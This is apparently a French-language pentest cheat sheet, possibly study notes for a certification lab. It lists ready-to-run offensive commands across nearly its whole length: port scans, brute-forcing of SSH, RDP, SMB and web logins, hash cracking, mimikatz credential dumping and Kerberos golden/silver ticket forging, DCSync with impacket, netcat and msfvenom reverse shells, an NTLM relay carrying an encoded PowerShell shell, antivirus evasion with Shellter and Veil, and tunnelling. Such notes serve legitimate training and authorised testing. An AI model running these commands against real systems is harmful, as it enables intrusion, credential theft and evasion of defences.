`nmap -p- --min-rate 10000 192.168.214.141` : permet un scan rapide des ports, on lance ensuite `nmap -sCV -p 80,88 192.168.214.141` pour un scan plus complet des services

Rustscan

`rustscan -a 192.168.247.220 -u 5000 -t 8000 --scripts none -n -- -Pn -sVC` : permet le scan des port sans utiliser de script

WPscan

`wpscan --url URL` : permet de scanner des sites Wordpress efficacement pour par exemple découvrir les plugins utilisés ou des vulnérabilités
`wpscan --url http://blocky.htb -e ap,t,tt,u` : permet d'enumerer tous les plugins installés, les thèmes, les utilisateurs

Gobuster

`gobuster dir -u URL -w wordlist_path` : permet le bruteforce des URL d'un site, le mode dir permet de lancer une attaque dir busting, on spécifie le dictionnaire à utiliser avec -w , l'option -x permet de chercher un type de fichier spécifique dans le serveur par exemple des fichiers PHP, jpg etc.. on peut spécifier un fichier de patterne avec l'option -t cela peut permettre de découvrir des API, wordlist large : `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` ou `/usr/share/wordlists/seclists/Discovery/Web-Content/big.txt` et `/usr/share/seclists/Discovery/Web-Content/quickhits.txt` qui est une liste avec des noms de fichiers avec l'extension précise
l'option `--exclude-length 200` permet d'exclure les status 200 l'option `-k` permet d'ignorer l'erreur de certificat TLS
`gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain` : permet le bruteforce des sous domaine de l'adresse thetoppers.htb autres wordlists plus larges :
`/usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt` ou `/usr/share/seclists/Discovery/Web-Content/big.txt` l'option `-x` permet de spécifier le type d'extension de fichier que l'on recherche par exemple `.php .html` etc.. `gobuster vhost --append-domain --domain 'alert.htb' -u http://alert.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -r`

Feroxbuster

`feroxbuster --url http://URL --depth 2 --wordlist wordlist` : permet de lancer le bruteforce des url d'un serveur web tout comme gobuster
`feroxbuster -k -u https://bizness.htb` : permet un dir busting en évitant les erreurs serveur

Dirb

`dirb http://backdoor.htb` : permet le bruteforce des url avec un dirbusting `dirb http://192.168.162.189:8080 /usr/share/wordlists/dirb/big.txt -p 192.168.162.189:3128` : permet le dirbusting d'une adresse avec un proxy

Wfuzz

`wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb` : permet le bruteforce des sous nom de domaine fonctionne plus efficacement avec ssl (HTTPS) que gobuster, l'option -hh permet d'exclure les réponse avec un nombre de charactère qui pourrait se répeter plusieurs fois et donner un mauvais résultat ici 30587
`wfuzz -H "X-Forwarded-For: 10.10.10.10" --sc 302 -u http://192.168.163.200/FUZZ.php -w /usr/share/wordlists/wfuzz/general/big.txt` : permet de fuzz un site web en modifiant l'adresse IP d'origine par exemple dans le cas ou le site n'accepte qu'un certain rang d'adresses.

ffuf

`ffuf -u http://FUZZ.mydomain.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt` : permet de fuzz les sous domaine
`ffuf -w sublists.txt -u http://website.com/ -H "Host: FUZZ.website.com" -fw 3913` : fuzz avec l'entete `ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://10.10.11.58/?q=accounts/FUZZ -c -v -mc 403` : permet le bruteforce des noms d'utilisateur du site

Humble

`humble -u URL` : permet le scan de l'entête HTTP afin d'identifier des vulnérabilités

Netcat

`nc -nlvp port_number` : permet d'ouvrir un port sur la machine afin de par exemple réceptioner un shell
`netcat -lp port_number > filename` : permet de lancer l'écoute pour la réception d'un fichier
`netcat -n IP_address port_number < filename` : permet le transfert d'un fichier vers la destination voulu avec netcat
`netcat -w1 -znv 192.168.1.1 1-100 2>&1 | grep succeeded` : permet de lancer un scan des adresses IP ayant un port TCP ouverts
`for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done` : permet de lancer un scan des IP et qui ont le port SMB ouvert
`proxychains bash -c 'for i in $(seq 4800 4900); do nc -zv -w 1 172.16.122.217 $i; done'` : permet un scan des ports (4800-4900) avec une boucle for
`proxychains nc -zv -w 1 172.17.0.1 1-65535 2>&1 | grep OK` : permet un scan de tous les ports tcp
`python3 -m http.server 80` : permet le lancement d'un serveur en local à la manière de netcat afin par exemple de transférer des fichier l'autre machine peut utiliser alors curl ou wget.
`php -S 0.0.0.0:8000` : permet la création d'un serveur web avec php
`nc -nv IP_target port_target -e /bin/bash` : permet l'execution d'un reverse shell sur la machine cible si executé sur celle ci /var/www/html/ : chemin vers le fichier du serveur web apache afin de transférer des fichiers.

Hydra

`hydra -L filename -p 'password' target_IP ssh` : permet de bruteforce le protocole SSH avec un fichier contenant les noms d'utilisateurs à tester et le mot de passe spécifié avec l'option -p
`hydra -L wordlistfile -p "password" rdp://remote_ip` : permet le bruteforce du protocole rdp en bruteforçant cet fois le nom d'utilisateur. Lorsque le bruteforce ne marche pas on peut restester avec l'option -t 1 qui permet de tenter les mot de passe un par un cela est malgrès tout plus lent
`hydra -l username -P wordlist ftp://host` : permet le bruteforce du protocole FTP

`hydra -C FichierTexteIDpardéfaut ftp://192.168.167.183` : permet le bruteforce du protocole FTP avec un fichier d'identifiants par défaut au format `identifiant:motdepasse` utilise pour cette commande à ajouter est le fichier seclists des identifiants par défaut /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
`hydra -l user -P wordlist IP_target http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:^login failed. Invalid"` : permet d'utiliser l'entete http afin de montrer le message d'erreur genéré par la page lors de tentative raté afin de bruteforce un login sur une page HTTP, dans l'exemple le message est "login failed"
`hydra -l admin -P wordlist http-get://IP_target` : permet de bruteforce un login sur une page mais cet fois à partir d'une requête GET
`nxc rdp IP_target/32 -u username -p wordlist --ignore-pw-decoding` : permet le bruteforce du service RDP

Ncrack

`ncrack -U users.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.167.183` : permet le bruteforce du protocole FTP avec un fichier de noms d'utilisateur et de mot de passe

crackmapexec/netexec

`crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt` : permet le bruteforce du protocole winrm
`crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success` : permet le bruteforce du protocole SMB avec le mot de passe "Nexus123!" dans le domaine corp.com, lorsque l'utlisateur est administrateur sur la machine, le message : "(Pwn3d!)" s'affiche
`crackmapexec smb 192.168.50.75 -u username -p 'Nexus123!' --shares` : permet de vérifier lauthentification à SMB et de lister les shares
`netexec winrm dc01.certified.htb -u ca_operator -H HASH` : permet de découvrir si la connexion vers WINRM fonctionne avec un hash
`netexec smb dc01.certified.htb -u ca_operator -H HASH` : permet de découvrir si la connexion vers SMB fonctionne avec un hash

Fcrackzip

`fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip` : permet de craquer le mot de passe d'un fichier zip avec un bruteforce

Kerbrute

Kerbrute est un script permettant de lancer des attaque par bruteforce dans la machine cible, ce script peut être lancé aussi bien sur Linux que sur Windows

`.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"` : pour bruteforce les utilisateurs d'un système windows
`kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.175` : permet de tester si l'authentification fonctionne avec une liste de noms d'utilisateurs cela permet ainsi de découvrir un nom d'utilisateur

Rubeus

Rubeus est un outil permettant de réaliser des attaques contre l'AD, il est à executer sur la machine cible :

`.\Rubeus.exe asreproast /nowrap` : permet la réception du hash AS-REP en lançant une attaque AS-REP roasting
`.\Rubeus.exe kerberoast /outfile:hashes.kerberoast` : permet de lancer une attaque kerberoasting
`.\Rubeus.exe tgtdeleg /nowrap` : permet d'obtenir les tickets TGT présent sur la machine

JohnTheRipper

`john -wordlist=dictionnary_filename hashes` : permet de craquer un hash avec un dictionnaire définit on peut spécifier le type de hash avec l'option `--format=` part exemple `Raw-SHA1` pour un hash au format SHA1 ou `bcrypt` pour un hash au format bcrypt
`zip2john filename > hash_filename` : permet de créer un hash à partir d'un fichier zip par exemple si celui ci est bloqué par un mot de passe

`john --show hash_file` : permet d'afficher les hash précédemment craqués
L'ajout d'une règle se fait dans le fichier /etc/john/john.conf
`keepass2john Database.kdbx > keepass.hash` : permet de faire passer un fichier de mot de passe keepass en hash
`ssh2john id_rsa > ssh.hash` : permet de changer un id_rsa en hash
`zip2john file.zip > john.hash` : permet la conversion d'un fichier zip en format craquable pour johntheripper
`pfx2john test.pfx > testpfxhashes.txt` : permet la conversion d'un fichier pfx vers un format craquable

Hashcat

`hashid hash` : permet d'identifier le type de hash afin de pourvoir le craquer en utilisant le bon mode, on peut mettre des guillements ou des doubles guillements en fonction du type de hash à identifier ou bien mettre le hash dans un fichier
`hash-identifier` : outil permettant d'identifier le type de hash
`hashcat -m modetouse hash_file rockyou.txt` : permet de craquer un mot de passe. faire attention à l'écriture du mot hash car celui ci peut etre mal formaté. par exemple pour le mode PosgreSQL (12) il faut supprimer md5 du début puis ajouter le username en fin du hash après " :"
`hashcat -m 13400 keepass.hash rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule` : permet le bruteforce du hash keepass, il faut utiliser keepass2john pour mettre le fichier en format de hash craquable, penser à retirer le mot "Database :kdb :" du hash
`hashcat -m 1000 hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule` : permet le crack d'un mot de passe NTLM extrait d'une base de donnée SAM
`hashcat -m 5600 hash rockyou.txt --force` : permet le crack d'un hash NTLMv2
`hashcat -m 1800 -a 0 hash.txt wordlist.txt` : permet de craquer un hash SHA-512 avec hashcat
`hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt` : permet le crack d'un hash Atlassian (PBKDF2-HMAC-SHA1) utilisé aussi dans PostgreSQL
`sudo hashcat -m 18200 hashes.asreproast rockyou.txt -r /usr/share/hashcat/rules/best64.rule` : permet le crack d'un hash kerberos obtenu avec une attaque AS-REP roasting
`sudo hashcat -m 13100 hashes.kerberoast rockyou.txt -r /usr/share/hashcat/rules/best64.rule` : permet le crack d'un hash kerberos obtenu avec une attaque TGS-REP (kerberoasting)
`echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout` : permet de générer une wordlist à partir d'un mot qui serait suceptible d'etre un mot de passe

mimikatz

hash dumping

mimikatz permet l'extraction des hash présent dans la base de données Windows, il faut tout d'abord l'executer sur le système en administrateur puis lancer les commandes suivantes pour dump la base de données :
`privilege::debug`
`token::elevate`
`lsadump::sam`

Les commandes suivante permettent l'affichage des hash de tout le système incluant les connexion distante :
`privilege::debug`
`sekurlsa::logonpasswords`

La commande suivante permet de lancer l'enregistrement du login d'un utilisateur qui se connecte prochainement dans le fichier `C:\\Windows\System32\mimilsa.log` : `misc::memssp`

Dcsync

La commande suivante permet de lancer une attaque dsync pour obtenir un hash NTLM de l'utilisateur dave, peut etre lancé pour l'utilisateur Administrator

```
lsadump::dcsync /user:corp\dave
```

Pass The ticket

La commande suivante permet d'afficher les tickets contenu dans le cache système cela peut permettre d'executer un pass the ticket `sekurlsa::tickets /export` on peut ensuite afficher les tickets avec : `dir *.kirbi` pour se connecter en injectant un ticket sur mimikatz avec : `kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi`

Psexec pivoting
La commande suivante permet de faire du pivoting avec un pass the hash en transformant un hash NTLM en ticket kerberos on peut ensuite se connecter à la machine voulue avec psexec sur le shell qui s'ouvre :
`sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell`

Silver Ticket
La commande suivante permet la création d'un Silver Ticket :

```
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:
    web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
```

Gold Ticket
La commande suivante permet d'afficher les hash pour générer un gold ticket : `lsadump::lsa /patch` : on peut voir le hash du compte krbtgt
`kerberos::purge` : permet la suppression des anciens ticket kerberos
`kerberos::golden /user:jen /domain:corp.com //sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt` : permet de générer le gold ticket
`misc::cmd` On peut ensuite se connecter au share avec psexec

impacket

`impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b username@ip` : permet de se connecter à une machine et naviguer dessus en forçant la connexion avec Psexec (port 445 necessairement ouvert) avec un hash
`impacket-psexec ignite/administrator:Ignite@987@192.168.1.105` : permet la connexion distante avec PSexec (nécessite de connaitre le mot de passe)
`impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b username@ip` : wmiexec permet la connexion à une machine en forçant l'accès wmi avec un hash (cela nécessite le port 445 ouvert) cela ne fonctionne pas pour les authentification avec le protocole Kerberos mais uniquement avec authentification NTLM
`impacket-smbexec htb.local/svc-alfredo:s3cret@10.10.10.161 dir` : permet d'executer une commande via smb fonctionne aussi avec 'impacket-wmiexec' et `impacket-psexec`
`impacket-secretsdump -sam sam -security security -system system LOCAL` : permet l'extraction des hash présents dans les fichiers de registre SAM téléchargé depuis la machine cible
`impacket-GetNPUsers blackfield.local/ -no-pass -usersfile users7.txt -dc-ip 10.10.10.192 | grep -v 'KDC_ERR_C_PRINCIPAL_UNKNOWN'` : permet de vérifier si un des utilisateurs d'une liste aurait Kerberos Pre-authentication désactivé (ASPRepRoast) cela ne nécessite pas de connaitre les mots de passe utilisateur
`impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete` : permet de lancer une attaque ASP-REP roasting dans lequel on capture un hash obtenu par la réponse du Domain Controller, le fichier hashes contient le hash ASP-REP obtenu, on peut ensuite le décrypter avec hashcat
`sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete` : permet de lancer une attaque kerberoasting dans lequel on capture un hash obtenu par la réponse du domaine, le fichier hash peut etre décrypté avec hashcat
`sudo impacket-smbserver smbFolder $(pwd) -smb2support` : permet la réception d'un hash lorsqu'une requete est faite a partir d'un utilisateur externe
`impacket-lookupsid hazard:stealth1agent@10.10.10.149` : permet d'enumerer les utilisateurs avec leurs sid
`impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023!"@192.168.50.70` : permet de lancer une attaque DCSYNC afin d'obtenir le hash NTLM du compte
`KRB5CCNAME=ticket.ccache impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user Administrator -target-ip 10.129.42.88` : permet de lancer une attaque DCSYNC avec un ticket
`impacket-secretsdump -just-dc ADMINISTRATOR.HTB/ethan@10.10.11.42` : permet de lancer une attaque DCSYNC
`impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL` : permet le dump des hash contenus dans shadow copy
`impacket-mssqlclient ARCHETYPE/sql_svc@TARGET_IP -windows-auth` : permet la connexion à un service SQL sur une machine windows en connaissance des identifiants
`impacket-ntlmrelayx --no-http-server -smb2support -t IP -c "powershell -enc CODEBASE64"` : permet la reception de la commande pour une connexion FTP (port 445 necessairement ouvert) à partir de la machine cible. le shell est rebasculé vers le listeneur netcat. il faut mettre le code base64 avec le port d'écoute et l'adresse IP de l'attaquant pour une réception du shell
`impacket-smbserver smb tools/ -smb2support -user user -password pass` : permet la mise en place d'un

serveur SMB avec une authentification dans le cas ou la machine windows interdit la méthode guest, et supporte seulement la méthode smb2 cela permet de transférer des fichiers depuis windows vers kali avec FTP. On utilise cette commande pour monter le share sur windows : `net use \\10.10.16.6\smb /USER:user pass` puis pour copier un fichier on lance : `copy filename \\10.10.16.6\smb\filename` le fichier sera sauvegardé dans le dossier tools avec powershell on peut lancer : `cmd /c "copy filename \\10.10.16.6\smb\filename"` pour sauvegarder le fichier

responder

`sudo responder -I interfacename` : permet de mettre en place une écoute afin de réceptionner un hash lorsque l'on essaye de s'authentifier à partir de la machine cible.

shellter

Shellter permet d'intégrer un payload dans un programme afin qu'il soit executé sur la machine cible. Ceci est plutot fait pour que l'utilisateur lance le programe et que le reverse shell se lance en contournant les antivirus.

veil

Veil est un programme qui permet de générer différents types de payloads à executer en tant que programme sur la machine cible. Il est par exemple possible de créer un payload au format .bat (payload 22) l'utilisateur clique ensuite dessus pour lancer le reverse shell en contournant les antivirus.

evil-winrm

`evil-winrm -i target_IP -u daveadmin -p 'password'` : permet de se connecter à une machine Windows avec winrm, on spécifie le nom d'utilisateur après -u le mot de passe après -p s'il y a des caractères spéciaux par exemple un ! mieux vaux mettre le mot de passe dans une variable par exemple : password = 'password !' puis invoquer la variable avec $password
`evil-winrm -u <username> -H <Hash> -i <IP>` : permet de se connecter avec la technique de PassTheHash
`evil-winrm -S -c certificate.pem -k priv-key.pem -u legacyy -p thuglegacy -i 10.10.11.152` : permet la connexion avec un certificat et une clef privé avec le mode SSL (port 5686 le port 5685 est pour http donc sans utiliser SSL)
`upload filename` : permet d'uploader un fichier sur la machine cible
`download filename` : permet de télécharger un fichier depuis la machine windows connecté vers kali en local
`Bypass-4MSI` : permet de contourner les antivirus lorsque l'on veut transférer un fichier par exemple

Winpeas

winpeas est un outil très pratique pour l'énumération d'une machine sous windows, il permet de découvrir les utilisateurs, les groupes, applications installés, etc..

Seatbelt

Seat belt est un autre outtil d'énumération Windows pratique et rapide d'execution pour découvrir les programmes installés, etc..

PowerUp.ps1

Il faut le télécharger puis le lancer avec `Import-Module .\PowerUp.ps1` il faut aussi lancer la commande pour autoriser les script au préalable : `powershell -ep bypass`
on peut ensuite lancer la commande suivante qui permet de trouver les programmes pouvant être modifiés :
`Get-ModifiableServiceFile` : permet d'afficher les services que l'utilisateur peut modifier
`Get-UnquotedService` : permet d'identifier les services vulnérables à lancer avec PowerUp.ps1 activé
`Get-NetGroup` : permet de lister les groupes du domaine
`Get-NetUser` : permet de lister les utilisateurs et toutes leurs infos
`Get-NetComputer` : permet d'afficher les infos des ordinateurs avec leurs versions etc..
`Get-ObjectAcl -Identity username` : permet d'afficher les ACL
`Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104` : permet de convertir un SID vers un nom
`Find-DomainShare` : permet de lister les shares du système

Permet de remplacer un service en modifiant le chemin vers celui ci et d'ajouter un nouvel utilisateur "john" ayant des droits administrateur :

```
Write-ServiceBinary -Name 'ServiceName' -Path "PROGRAM PATH"
```

Il faut ensuite relancer le service avec `Restart-Service ServiceName`

PowerView

Tout comme PowerUp.ps1 ce script permet une enumeration plus rapide de la machine. on commence par importer le script avec `. ./PowerView.ps1` ou `Import-Module ./PowerView.ps1`

Puis on peut lancer des commandes :
`Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity` : permet de vérifier l'attribut msds-allowedtoactonbehalfofotheridentity qui permet de lancer des commandes par l'intermédiaire d'un autre utilisateur
`Get-NetDomain` : permet d'obtenir les informations du domaine, les noms d'utilisateurs, les noms des PC du domaine, les noms des domaines
`Get-NetComputer | select operatingsystem,dnshostname` : permet d'afficher les systèmes d'exploitation des machines du domaine
`Get-GPPermission -Name "Default Domain Policy" -All` : permet d'afficher les permission d'édition d'une GPO pour l'utilisateur ici "Default Domain Policy"
`Get-DomainPolicy` : permet d'afficher la GPO par défaut du domaine

PowerMad

Tout comme PowerUp.ps1 et PowerView.ps1 ce script permet de lancer des commandes additionnel sur le système windows, on commence par importer le script avec : `. ./PowerMad.ps1`

Puis on peut lancer des commandes :
`New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)` : permet la création d'une machine "FAKE-COMP01" avec le mot de passe "Password123" cela peut permettre d'extraire un ticket kerberos si l'on a les droits d'écriture sur un controlleur de domaine

Certipy

`certipy find -vulnerable -u judith.mader -p judith09 -dc-ip 10.10.11.41 -stdout` : permet d'enuméer le système de certicat du domaine pour y trouver des failles de sécurité avec les vulnérabilités ESC1 à ESC16 cela permet aussi d'afficher les templates
`certipy shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.10.11.41` : permet de lancer une attaque ShadowCredentials avec certipy ce qui permet d'obtenir le hash d'un compte utilisateur il faut au préalable avoir un compte avoir certian type de permission par exemple "GenericWrite"

Spray-Passwords

`.\Spray-Passwords.ps1 -Pass Nexus123! -Admin` : Permet de tester s'il est possible d'ajouter un utilisateur, on peut mettre en place un fichier de bruteforce avec l'option -File

Sharphound

SHarphound est un outil permettant de cartographier l'AD On commence par importer les modules avec `Import-Module .\Sharphound.ps1 Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephar "corp audit"` : permet de collecter les données en format .zip afin d'etre importés sur BloodHound

BloodHound

`sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up` : permet le lancement de Bloodhound CE sur le port 8080
`MATCH (m:Computer) RETURN m` : permet d'afficher les PC du domaine `bloodhound-python -u username -p 'password' -d sequel.htb -ns 10.10.11.51 -call --zip` : permet de créer un fichier zip contenant l'enumeration du serveur au lieu de devoir uploader le fichier SharpHound pour créer le fichier et le transférer

SigmaPotato

`.\SigmaPotato "net user dave4 lab /add"` : permet la création d'un utilisateur si le droit "SeImpersonatePrivilege" est activé on appelle cela PrintSpoofer
`.\SigmaPotato "net localgroup Administrators dave4 /add"` : permet l'ajout d'un utilisateur dans le groupe administrator

unix-privesc-check

`unix-privesc-check standard` : permet une énumération du système pour découvrir d'il est possible de lancer une escalade des privilèges sous Linux

Metasploit

`sudo msfdb init` : permet de démarrer le service PostgreSQL pour la base de donnée Metasploit, on peut activer le service postgresql au démarrage avec sudo systemctl enable postgresql
`sudo msfconsole` : permet de lancer metasploit en ligne de commande
`db_status` : permet de vérifier le status de la base de donnée
`workspace -a pen200` : permet de créer un workspace nommé pen200 où sont stockés les infos de la cible dans la base de données postgresql
`db_nmap -A 192.168.50.202` : permet de lancer un nmap contre la cible 192.168.50.202
`hosts` : permet de lancer une découverte des hotes découverts
`services` : permet de lancer la découverte des services ouvert avec nmap, peut etre utilisé avec l'option -p pour un port particulier
`show auxiliary` : permet de lister les modules auxiliaires
`search type:auxiliary smb` : permet de chercher les modules auxiliares se lançant avec smb
`use 56` : permet d'utiliser le module "56"
`info` : permet d'obtenir plus d'informations sur le module utilisé
`show options` : permet d'afficher les options à configurer afin de lancer le module
`set RHOSTS 192.168.50.202` : permet de placer le remote host sur 192.168.50.202, on peut afficher le rhost du service configuré avec -p 445 –rhosts ; unset RHOSTS permet de retirer le remote host configuré
`run` : permet de lancer le module
`vulns` : permet de détecter des vulnérabilités basés sur le résultat du module
`creds` : permet d'afficher les identifiants trouvé par exemple lors d'une attaque par bruteforce
`sessions -l` : permet de lister les sessions en cours de lancement, afin de se connecter à la session voulu on lance utilise l'option -i suivi du numéro de la session
`channel -l` : permet de lister les channel, c'est un l'équivalent de sessions -l
`show payloads` : permet de lister les payloads, on peut en utiliser un avec la commande `set payload 11`
`multi/recon/local_exploit_suggester` ce payload permet de detecter les exploits et vulnérabilités auquel la machine sous shell serait vulnérable

msfvenum

`msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe` : permet la création d'un payload ou reverse shell pour windows
`msfvenom -p cmd/unix/reverse_bash LHOST=1 LPORT=<Local Port> -f raw > shell.sh` : permet la création d'un reverse shell Linux
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<Local Port> -f dll -o Service.dll` : permet la création d'un reverse shell dll
`msfvenom -l payloads` : permet de lister les Payloads

meterpreter

`msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST KALI_IP;set LPORT KALI_PORT;run;"` : permet l'utilisation d'un reverse shell windows pour un payload généré avec msfvenum
`get uid` : permet d'obtenir les info de l'utilisateur actuel
`getsystem` : permet l'élévation de privilèges vers le système
`show options` : permet l'affichage des options avant le lancement d'un module
`migrate` : permet de changer l'id d'un processus pour un autre afin d'obtenir une élévation de privilège sur un autre utilisateur par exemple

TUNNELING

Port Forwarding

`socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22` : permet de créer un tunnel qui va écouter le port 2222 pour une autre machine vers le port SSH, il faut ensuite se connecter depuis kali sur le port 2222 de la machine actuel pour se connecter au SSH de la machine 2

`socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432` : permet de créer un tunnel qui va écouter le port 2345 pour une autre machine vers le port 5432 (PostgreSQL), il faut ensuite se connecter depuis kali sur le port 2345 de la machine actuel pour se connecter au serveur PostgresSQL de la machine 2

SSH Local Port Forwarding

`ssh -L localip:localport:remotehost:remoteport username@addressserver` : permet de créer un tunnel SSH local

`ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215` : permet de créer un tunnel local depuis la machine local en écoutant le port 4455 vers un serveur SMB 172.16.50.217 en passant par 10.4.50.215 en SSH

SSH Dynamic Port Forwarding

`ssh -D localip:localport username@addressserver` : permet de créer un tunnel SSH dynamique, il faut par la suite configurer proxychains avec le port spécifié localement, il est ensuite possible de lancer des commandes sur une machine distante

`ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215` : permet de créer un tunnel dynamique, il faut configurer proxychain avec l'adresse et le port indiqué, on peut ensuite lancer des scan à travers la machine qui lance ssh

SSH Remote Port Forwarding

`ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@KALI-IP` : permet la mise en place d'une connexion depuis la machine cible qui va écouter le port 2345 de la machine kali pour accéder au réseau de la machine 10.4.50.215 sur le port 5432, pour se connecter à ce port il faut utiliser le port loopback sur kali avec 127.0.0.1 :2345

SSH Dynamic Remote Port Forwarding

`ssh -N -R 9998 kali@192.168.118.4` : permet de créer un tunnel dynamic qui va se connecter vers la machine kali et écouter avec le port 9998, il faut ensuite configurer proxychains en ajoutant l'adresse loopback en précisant le port d'écoute, il est ensuite possible de lancer des scan du réseau correspondant à travers le port avec proxychain

shuttle

`sshuttle -r database_admin@192.168.122.63:2222 10.4.122.0/24 172.16.122.0/24` : permet de créer un tunnel à partir de la machine cible 192.168.122.63 qui a crée un port forwarding de ssh (22) vers 2222 et de pouvoir accéder aux réseaux : 10.4.122.0/24 et 172.16.122.0/24 cette commande est à lancer sur kali et nécessite un accès root sur la machine sur laquelle le ssh est lancé

Splink

`C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4` : permet l'execution d'un tunnel avec splink depuis Windows lorsqu'il n'y a pas de ssh cela afin d'accéder à la machine local en écoutant en loopback kali sur 9833 cela permer de contourner un pare feu qui autoriserait seulement des entrés sur le port 80 par exemple

netsh

`netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215` : permet d'ouvrir un port local 2222 pour se connecter en ssh (22) vers la machine 10.4.50.215 (necessite les droits administrateur)

`netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow` : permet de créer une règle qui va ouvrir un port lorsqu'un pare feu est configuré pour bloquer les ports voulues par exemple ici le port 2222 est à présent autorisé

`netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64` : permet de supprimer le portwarding crée précedemment

Chisel

`chisel server --port 8080 --reverse` : permet la mise en place du tunnel sur le serveur pour le port 8080
`./chisel client 10.10.16.54:9999 R:3012:127.0.0.1:3000` : permet le forwarding vers le port 9999 de kali en prenant le port 3000 sur la machine cible vers le port 3012 de kali
`chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 &` : permet la mise en place d'un tunnel pour le client sur le port 8080
`ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215` : permet de lancer une requête ssh à travers le proxy chisel sur le port 1080 avec ncat (non pas netcat), %h et %p représentent les options –host et –port

Ligolo-ng

`./proxy -selfcert -laddr 0.0.0.0:443` : lancement du proxy en local sur linux
`agent.exe -connect 192.168.45.238:443 -ignore-cert` : lancement de l'agent sur windows
`session` : permet d'afficher les sessions présentes
`ifconfig` : permet d'afficher les interfaces réseaux
`start` : permet de démarrer le tunnel
`listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 --tcp` : permet de mettre en place des ports d'écoute
`interface_create --name ligolo` : permet la création d'une interface nommé ligolo. sur linux on peut lancer :
`sudo ip tuntap add user $(whoami) mode tun ligolo`
`sudo ip link set ligolo up` : permet d'activer l'interface ligolo
`route_add --name ligolo --route 192.168.169.0/24` : permet d'ajouter la route vers le réseau sur l'interface nommé "ligolo" sur linux on peut lancer : `sudo ip route add 10.10.176.0/24 dev ligolo`
`route_add --name ligolo --route 240.0.0.1/32` : permet de faire du local port forwarding des port accessible en local sur la machine windows vers linux, par exemple afin de pouvoir accéder à SQL ou à un site web accessible en local

WINDOWS PRIVESC

`Get-ChildItem -Path C:\-Include *.txt -File -Recurse -ErrorAction SilentlyContinue` : permet de rechercher des fichiers de type .txt dans tous le système tout en désactivant l'affichage d'erreurs
`Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue` : permet la recherche de fichiers de configuration dans le serveur xampp
`Get-ChildItem -Path C:\Users\-Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue` : permet la recherche de fichiers texte et autres dans le répertoire Users
`Get-ChildItem -Path C:\-Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue` : permet la recherche de fichier .kdbx pour keepass
